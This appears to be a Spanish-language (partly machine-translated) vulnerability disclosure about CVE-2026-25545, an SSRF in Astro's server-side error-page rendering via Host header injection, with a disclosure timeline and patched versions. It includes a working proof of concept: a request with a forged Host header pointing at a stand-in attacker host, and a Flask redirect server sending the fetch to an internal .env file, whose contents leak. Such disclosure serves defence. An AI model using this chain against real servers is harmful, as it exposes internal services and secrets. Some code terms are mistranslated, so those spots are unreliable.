Astro es un marco de trabajo de JavaScript para frontend y backend que utilizan muchas grandes organizaciones para facilitar el desarrollo de sitios web. Recientemente, uno de los agentes de nuestro producto Aikido Attack identificó una vulnerabilidad de gravedad media en la implementación del lado del servidor de este marco de trabajo. Esto hacía que cualquier servidor al que el atacante pudiera acceder directamente fuera vulnerable a la falsificación de solicitudes del lado del servidor (SSRF).
Ahora conocido como CVE-2026-25545, notificamos rápidamente a los mantenedores de Astro para obtener una solución en solo un par de días. Versiones astro@5.17.2, @astrojs/node@9.5.3 así como la beta astro@6.0.0-beta.11 están parcheados.
Resumen
Errores de renderización del lado del servidor (SSR) con una página de error personalizada prerenderizada (por ejemplo, 404.astro o 500.astro) son vulnerables a SSRF. Si el Anfitrión: El encabezado se cambia al servidor del atacante. /500.html se obtendrá de su servidor y se puede redirigir a cualquier otra URL interna. Se sigue esta redirección y la respuesta se devuelve al atacante.
Cualquier servicio en localhost o en la red interna protegido por cortafuegos y NAT puede ser accesible de esta manera, lo que puede tener consecuencias devastadoras dependiendo de lo que se aloje.
Detalles
pentesting de IA encontró este problema mientras investigábamos, por lo que explicaremos su proceso de razonamiento a medida que analizamos los detalles de esta vulnerabilidad.
Astro puede renderizar páginas en dos modos: «estático» y «servidor». Los sitios web sencillos pueden no necesitar un servidor y exportarse como archivos HTML estáticos, mientras que otros sí requieren lógica del lado del servidor. Puedes decidir qué se necesita para cada página.
Para la página de inicio, puedes preprocesar un archivo HTML que siempre permanecerá igual y solo cambiará cuando vuelvas a compilarlo. Para procesarlo bajo demanda, como en el caso de un contador de visitas, se requiere el procesamiento del lado del servidor (SSR).
Para utilizar SSR, es necesario establecer la opción de configuración de salida en «servidor» ES astro.config.mjs:
export default defineConfig({
output: 'server'
})
Un ejemplo interesante son las páginas de error en Astro. Cualquier ruta puede devolver errores como 404 Not Found o 500 Internal Server Error, que se muestran correctamente con las páginas de error predeterminadas.
Como desarrollador, puedes crear un página de error personalizada con 404.astro o 500.astro. Por motivos de eficiencia, estos se prerenderizan como archivos HTML siempre que es posible. Lo interesante es que ahora el servidor debe devolver una respuesta prerenderizada.
Esto se implementa de una manera un poco extraña: el servidor recupera /404.html o /500.html de sí mismo y devuelve ese resultado. Puedes leer esto en renderError():
1async #renderError(...): Promise<Response> {
2 const errorRoutePath = `/${status}${this.#manifest.trailingSlash === 'always' ? '/' : ''}`;
3 const errorRouteData = matchRoute(errorRoutePath, this.#manifestData);
4 const url = new URL(request.url);
5 if (errorRouteData) {
6 if (errorRouteData.prerender) {
7 const maybeDotHtml = errorRouteData.route.endsWith(`/${status}`) ? '.html' : '';
8 const statusURL = new URL(
9 `${this.#baseWithoutTrailingSlash}/${status}${maybeDotHtml}`,
10 url, // base
11 );
12 if (statusURL.toString() !== request.url) {
13 const response = await prerenderedErrorPageFetch(statusURL.toString() as ErrorPagePath);
14 const override = { status, removeContentEncodingHeaders: true };
15 return this.#mergeResponses(response, originalResponse, override);
16 }
17 }
18 ...
19}
20La línea más importante es prerenderedErrorPageFetch(statusURL), que se ejecuta cuando existe una ruta de error personalizada y la página de error es prerenderizado (línea 13). En NodeJS, esto es simplemente un alias para obtener() si opciones.página de error experimental del host no está configurado.URL de estado está construido a partir de solicitud.url (línea 4). Esta propiedad proviene de req.headers.host, también conocido como el Anfitrión: encabezado en HTTP.
static createRequest(...) {
const providedHostname = req.headers.host ?? req.headers[':authority'];
const validated = App.validateForwardedHeaders(
getFirstForwardedValue(req.headers['x-forwarded-proto']),
getFirstForwardedValue(req.headers['x-forwarded-host']),
getFirstForwardedValue(req.headers['x-forwarded-port']),
allowedDomains,
);
const sanitizedProvidedHostname = App.sanitizeHost(
typeof providedHostname === 'string' ? providedHostname : undefined,
);
const hostname = validated.host ?? sanitizedProvidedHostname;
const hostnamePort = getHostnamePort(hostname, port);
url = new URL(`${protocol}://${hostnamePort}${req.url}`);
const request = new Request(url, options);
...
El Anfitrión: El encabezado siempre está controlado por el usuario, ya que es solo una cadena arbitraria que envía el cliente. Como se puede ver en la lógica anterior, Astro utiliza req.headers.host construir solicitud.url, que luego se convierte en la URL base para un interno obtener() llamada. Astro confía en que la entrada apunte al propio servidor, sin validarla realmente. Esto es Inyección de encabezado de host, y es lo que hace posible SSRF aquí.
GET /not-found HTTP/1.1
Host: atacante.tld
SSRF
Vinimos aquí para Falsificación de Solicitudes del Lado del Servidor, pero no estamos muy lejos en este momento. La solicitud anterior provoca un error 404 y, si se ha configurado una página 404 personalizada, nuestro atacante.tld El encabezado del host se utilizará para enviar una solicitud a http://attacker.tld/404.html .
Esto ya nos permite recuperar esta URL específica en cualquier host interno:
GET /404.html HTTP/1.1
host: atacante.tld
conexión: keep-alive
aceptar: */*
idioma aceptado: *
sec-fetch-mode: cors
user-agent: node
aceptar-codificación: gzip, deflate
Probablemente no haya mucho contenido sensible en /404.html de un host arbitrario. Por suerte para nosotros, obtener() sigue automáticamente las redirecciones. Un hecho que podemos aprovechar porque ya somos capaces de hacer que el servidor Astro solicite el sitio web de nuestro atacante. Todo lo que tenemos que hacer es redirigir desde http://attacker.tld/404.html a alguna URL sensible como http://127.0.0.1:8000/.env!
Configuraremos un servidor básico para gestionar esto:
from flask import Flask,redirect
app = Flask(__name__)
@app.route("/404.html")
def exploit(): return redirect("http://127.0.0.1:8000/.env")
if __name__ == "__main__":
app.run()
A continuación, volvemos a enviar nuestra solicitud maliciosa:
$ curl -i 'http://localhost:4321/not-found' -H 'Host: attacker.tld'
HTTP/1.1 404 OK
content-type: text/plainserver:SimpleHTTP/0.6Python/3.12.3
Connection: keep-alive
Keep-Alive:timeout=5
Transfer-Encoding: chunked
SECRET=...
¡Éxito! Se ha obtenido la página 404 del atacante y se ha redirigido a 127.0.0.1:8000, y se devolvió su respuesta (encabezados y cuerpo). Con esto, un atacante podría trazar un mapa de toda la red interna, interactuando con los servicios para leer información potencialmente confidencial.
Requisitos
Para que un atacante pueda aprovechar esta vulnerabilidad, se deben cumplir algunos requisitos:
- El servidor debe estar en modo de renderización del lado del servidor (de lo contrario, solo es HTML estático).
- El
Anfitrión:El encabezado no debe estar desinfectado. Algunos proxies validan este encabezado, por lo que puede ser necesario encontrar el - IP de origen del servidor Astro para conectarse directamente con él.
- En el código fuente, el desarrollador debe haber configurado un
404.astro,404.md, o500.astroarchivo. Esto es habitual en aplicaciones de gran tamaño.
Como se muestra, el uso de un error 404 al visitar alguna ruta no enrutada es la vía de explotación más probable. Pero si se configura una página personalizada de error interno del servidor, provocar cualquier error con un encabezado Host: falsificado también puede activar la vulnerabilidad de la misma manera.
Remediación
Después de ver la vulnerabilidad reportada por nuestro agente de IA, rápidamente se la comunicamos a los responsables de Astro, quienes tuvieron lista una solución en solo un par de días.
Las versiones parcheadas comienzan a partir de:
astro@5.17.2astro@6.0.0-beta.11@astrojs/node@9.5.3
Su solución era replantearse el prerenderizadaErrorPageFetch() función, que era un envoltorio para fetch(), antes. Ahora /404 o /500 los archivos se leen directamente desde el disco, y cualquier otra cosa solo se obtiene si opciones.página de error experimental del host se establece explícitamente, indicándole dónde obtenerlo. El encabezado Host: ahora también se valida, de forma similar a cómo Host reenviado: ya estaba, para evitar que un atacante interfiriera con solicitud.url en Astro.
Esta vulnerabilidad se reduce a confiar en la información introducida por el usuario en el Anfitrión: cabecera, lo cual nunca se debe hacer. Funciones mágicas como redirigir por defecto desde
obtener() también puede tener consecuencias inesperadas. Es recomendable conocer exactamente qué hacen las funciones que se invocan leyendo su documentación.
El exploit para esta vulnerabilidad resulta ser bastante sencillo y fácil de probar. Basta con solicitar una página inexistente con un formato incorrecto. Anfitrión: encabezado. Estos ataques pueden incluso detectarse sin código fuente jugando con la aplicación, lo que
La prueba de penetración de IA de Aikido puede hacerlo. Sin embargo, también tiene potentes capacidades de análisis de código (caja blanca), como se puede ver en este informe.
Cronología
- 2 de febrero de 2026: Aikido Security la vulnerabilidad y creó un PoC funcional.
- 3 de febrero de 2026: Divulgación responsable a los mantenedores de Astro.
- 3 de febrero de 2026: Informe confirmado por los responsables de Astro y comienzo de las tareas para solucionar el problema.
- 4 de febrero de 2026: GitHub crea CVE-2026-25545.
- Febrero 11, 2026: La corrección se ha publicado en las nuevas versiones de Astro (
astro@5.17.2,astro@6.0.0-beta.11, y@astrojs/node@9.5.3)

